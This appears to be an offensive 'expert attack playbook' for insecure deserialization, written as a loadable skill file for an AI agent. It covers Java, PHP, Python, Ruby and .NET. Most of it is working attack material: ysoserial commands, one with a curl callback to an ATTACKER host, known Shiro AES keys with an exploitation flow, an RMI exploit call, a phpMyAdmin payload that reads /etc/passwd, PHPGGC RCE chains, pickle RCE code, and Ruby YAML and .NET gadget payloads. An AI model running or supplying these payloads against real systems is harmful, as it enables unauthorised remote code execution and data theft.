haryy985/yunkun-console-preview/deserialization-insecure

SKILL: Insecure Deserialization — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert deserialization techniques across Java, PHP, and Python. Covers gadget chain selection, traffic fingerprinting, tool usage (ysoserial, PHPGGC), Shiro/WebLogic/Commons Collections specifics, Phar deserialization, and Python pickle abuse. Base models often miss the distinction between finding the sink and finding a usable gadget chain.

0. RELATED ROUTING

• ../../../skills/skill/knowledge-base/jndi-injection-test.md when deserialization leads to JNDI lookup (e.g., post-JDK 8u191 bypass via LDAP → deserialization)
• ../../../references/playbooks/unauth-access.md when the deserialization endpoint is an exposed management service (RMI Registry, T3, AJP)

1. TRAFFIC FINGERPRINTING — IS IT DESERIALIZATION?

Java Serialized Objects

PHP Serialized Objects

Python Pickle

2. JAVA — GADGET CHAINS AND TOOLS

ysoserial — Primary Tool

# Generate payload (example: CommonsCollections1 chain with command)
java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned" > payload.bin
 
# Base64-encode for HTTP transport
java -jar ysoserial.jar CommonsCollections1 "id" | base64 -w0
 
# Common chains to try (ordered by frequency of vulnerable dependency):
# CommonsCollections1-7  — Apache Commons Collections 3.x / 4.x
# Spring1, Spring2       — Spring Framework
# Groovy1               — Groovy
# Hibernate1            — Hibernate
# JBossInterceptors1    — JBoss
# Jdk7u21               — JDK 7u21 (no extra dependency)
# URLDNS                — DNS-only confirmation (no RCE, works everywhere)

URLDNS — Safe Confirmation Probe

URLDNS triggers a DNS lookup without RCE — safe for confirming deserialization without damage:

java -jar ysoserial.jar URLDNS "http://UNIQUE_TOKEN.burpcollaborator.net" > probe.bin

DNS hit on collaborator = confirmed deserialization. Then escalate to RCE chains.

Commons Collections — The Classic Chain

The vulnerability exists when org.apache.commons.collections (3.x) is on the classpath and the application calls readObject() on untrusted data.

Key classes in the chain: InvokerTransformer → ChainedTransformer → TransformedMap → triggers Runtime.exec() during deserialization.

Apache Shiro — rememberMe Deserialization

Shiro uses AES-CBC to encrypt serialized Java objects in the rememberMe cookie.

Known hard-coded keys (SHIRO-550 / CVE-2016-4437):
kPH+bIxk5D2deZiIxcaaaA==          # most common default
wGJlpLanyXlVB1LUUWolBg==          # another common default in older versions
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==

Attack flow:

1. Detect: response sets rememberMe=deleteMe cookie on invalid session
2. Generate ysoserial payload (CommonsCollections6 recommended for broad compat)
3. AES-CBC encrypt with known key + random IV
4. Base64-encode → set as rememberMe cookie value
5. Send request → server decrypts → deserializes → RCE

DNSLog confirmation (before full RCE): use URLDNS chain → java -jar ysoserial.jar URLDNS "http://xxx.dnslog.cn" → encrypt → set cookie → check DNSLog for hit.

Post-fix (random key): Key may still leak via padding oracle, or another CVE (SHIRO-721).

WebLogic Deserialization

Multiple vectors:

• T3 protocol (port 7001): direct serialized object injection
• XMLDecoder (CVE-2017-10271): XML-based deserialization via /wls-wsat/CoordinatorPortType
• IIOP protocol: alternative to T3

# T3 probe — check if T3 is exposed:
nmap -sV -p 7001 TARGET
# Look for: "T3" or "WebLogic" in service banner

Java RMI Registry

RMI Registry (port 1099) accepts serialized objects by design:

# ysoserial exploit module for RMI:
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit TARGET 1099 CommonsCollections1 "id"
 
# Requires: vulnerable library on target's classpath
# Works on: JDK <= 8u111 without JEP 290 deserialization filter

JDK Version Constraints

3. PHP — unserialize AND PHAR

Magic Method Chain

PHP deserialization triggers magic methods in order:

__wakeup()  → called immediately on unserialize()
__destruct() → called when object is garbage-collected
__toString() → called when object is used as string
__call()     → called for inaccessible methods

Attack: craft a serialized object whose __destruct() or __wakeup() triggers dangerous operations (file write, SQL query, command execution, SSRF).

Serialized Object Format

O:8:"ClassName":2:{s:4:"prop";s:5:"value";s:4:"cmd";s:2:"id";}
// O:LENGTH:"CLASS":PROP_COUNT:{PROPERTIES}

phpMyAdmin Configuration Injection (Real-World Case)

phpMyAdmin PMA_Config class reads arbitrary files via source property:

action=test&configuration=O:10:"PMA_Config":1:{s:6:"source";s:11:"/etc/passwd";}

PHPGGC — PHP Gadget Chain Generator

# List available chains:
phpggc -l
 
# Generate payload (example: Laravel RCE):
phpggc Laravel/RCE1 system id
 
# Common chains:
# Laravel/RCE1-10
# Symfony/RCE1-4
# Guzzle/RCE1
# Monolog/RCE1-2
# WordPress/RCE1
# Slim/RCE1

Phar Deserialization

Phar archives contain serialized metadata. Any file operation on a phar:// URI triggers deserialization — even when unserialize() is never directly called.

Triggering functions (partial list):

file_exists()    file_get_contents()    fopen()
is_file()        is_dir()               copy()
filesize()       filetype()             stat()
include()        require()              getimagesize()

Attack flow:

1. Upload a valid file (e.g., JPEG with phar polyglot)
2. Trigger file operation: file_exists("phar://uploads/avatar.jpg")
3. PHP deserializes phar metadata → gadget chain executes

# Generate phar with PHPGGC:
phpggc -p phar -o exploit.phar Monolog/RCE1 system id

4. PYTHON — PICKLE

__reduce__ Method

Python's pickle.loads() calls __reduce__() on objects during deserialization, which can return a callable + args:

import pickle
import os
class Exploit:
    def __reduce__(self):
        return (os.system, ("id",))
payload = pickle.dumps(Exploit())
# Send payload to target that calls pickle.loads()

Analyzing Pickle Opcodes

import pickletools
pickletools.dis(payload)
# Shows opcodes: GLOBAL, REDUCE, etc.
# Look for GLOBAL referencing dangerous modules (os, subprocess, builtins)

Common Python Deserialization Sinks

pickle.loads(user_data)
pickle.load(file_handle)
yaml.load(data)           # PyYAML without Loader=SafeLoader
jsonpickle.decode(data)
shelve.open(path)

Defensive Bypass: RestrictedUnpickler

Even when RestrictedUnpickler.find_class is used, check if the whitelist is too broad:

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == "builtins" and name in safe_builtins:
            return getattr(builtins, name)
        raise pickle.UnpicklingError(f"forbidden: {module}.{name}")

If safe_builtins includes eval, exec, or __import__ → still exploitable.

5. DETECTION METHODOLOGY

Found binary blob or encoded object in request/cookie?
├── Java signature (ac ed / rO0AB)?
│   ├── Use URLDNS probe for safe confirmation
│   ├── Identify libraries (error messages, known product)
│   └── Try ysoserial chains matching identified libraries
│
├── PHP signature (O:N:"...)?
│   ├── Identify framework (Laravel, Symfony, WordPress)
│   ├── Try PHPGGC chains for that framework
│   └── Check for phar:// wrapper in file operations
│
├── Python (opaque binary, base64 blob)?
│   ├── Try pickle payload with DNS callback
│   └── Check if PyYAML unsafe load is used
│
└── Not sure?
    ├── Try URLDNS payload (Java) — check DNS
    ├── Try PHP serialized test string
    └── Monitor error messages for class loading failures

6. DEFENSE AWARENESS

7. QUICK REFERENCE — KEY PAYLOADS

# Java — URLDNS confirmation
java -jar ysoserial.jar URLDNS "http://TOKEN.collab.net"
 
# Java — RCE via CommonsCollections
java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned"
 
# PHP — Laravel RCE
phpggc Laravel/RCE1 system "id"
 
# PHP — Phar polyglot
phpggc -p phar -o exploit.phar Monolog/RCE1 system "id"
 
# Python — Pickle RCE
python3 -c "import pickle,os;print(pickle.dumps(type('X',(),{'__reduce__':lambda s:(os.system,('id',))})()).hex())"
 
# Shiro default key test
rememberMe=<AES-CBC(key=kPH+bIxk5D2deZiIxcaaaA==, payload=ysoserial_output)>

8. RUBY DESERIALIZATION

Ruby Marshal

• Marshal.load on untrusted data → RCE
• Fingerprint: binary data, no common text header
• Gadget chains exist for various Ruby versions
• Docker verification: hex payload via [hex_string].pack("H*")

Ruby YAML (YAML.load)

• YAML.load (not YAML.safe_load) executes arbitrary Ruby objects
• Pre Ruby 2.7.2: Gem::Requirement chain → git_set: id / git_set: sleep 600
• Ruby 2.x-3.x: Gem::Installer → TarReader → Kernel#system chain (longer, multi-step)
• Always test: YAML.load("--- !ruby/object:Gem::Installer\ni: x") for class instantiation check
• Payload template:

--- !ruby/object:Gem::Requirement
requirements:
  !ruby/object:Gem::DependencyList
  type: :runtime
  specs:
    - !ruby/object:Gem::StubSpecification
      loaded_from: "|id"

• Note: YAML.safe_load is safe (Ruby 2.1+); Psych.safe_load also safe

9. .NET DESERIALIZATION

• Traffic fingerprint:
• BinaryFormatter: hex AAEAAD (base64 AAEAAAD/////)
• ViewState: hex FF01 or /w prefix
• JSON.NET: $type property in JSON
• BinaryFormatter (most dangerous, deprecated in .NET 5+): arbitrary type instantiation
• XmlSerializer: ObjectDataProvider + XamlReader chain for command execution

``xml <root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:od="http://schemas.microsoft.com/powershell/2004/04" type="System.Windows.Data.ObjectDataProvider"> <od:MethodName>Start</od:MethodName> <od:MethodParameters><sys:String>cmd</sys:String><sys:String>/c calc</sys:String></od:MethodParameters> <od:ObjectInstance xsi:type="System.Diagnostics.Process"/> </root> ``